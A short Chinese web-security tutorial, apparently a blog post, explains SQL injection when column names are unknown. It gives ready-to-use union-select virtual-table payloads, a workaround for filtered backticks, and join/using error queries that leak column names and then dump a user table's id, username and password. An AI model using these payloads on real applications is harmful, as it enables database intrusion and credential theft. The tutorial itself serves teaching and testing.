WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
Waitccy1 分钟前
Linux 系统安全基线检查:入侵防范测试标准与漏洞修复方法
linux·运维·网络·安全·系统安全·等保
鸿蒙布道师1 小时前
宇树科技安全漏洞揭示智能机器人行业隐忧
运维·网络·科技·安全·机器学习·计算机视觉·机器人
野木香1 小时前
mysql8常用sql语句
数据库·sql·mysql
rylshe13141 小时前
spark sql基本操作
sql·spark
fmdpenny2 小时前
SQL中联表的运用
数据库·sql
不剪发的Tony老师2 小时前
互联网SQL面试题:用户会话时长分析
数据库·sql
暮雨疏桐11 小时前
MySQL SQL Mode及其说明
数据库·sql·mysql·sql mode
神经毒素12 小时前
WEB安全--RCE--webshell bypass2
安全·web安全
Johnstons13 小时前
AnaTraf:深度解析网络性能分析(NPM)
前端·网络·安全·web安全·npm·网络流量监控·网络流量分析
网络空间小黑13 小时前
常见WEB漏洞----暴力破解
计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构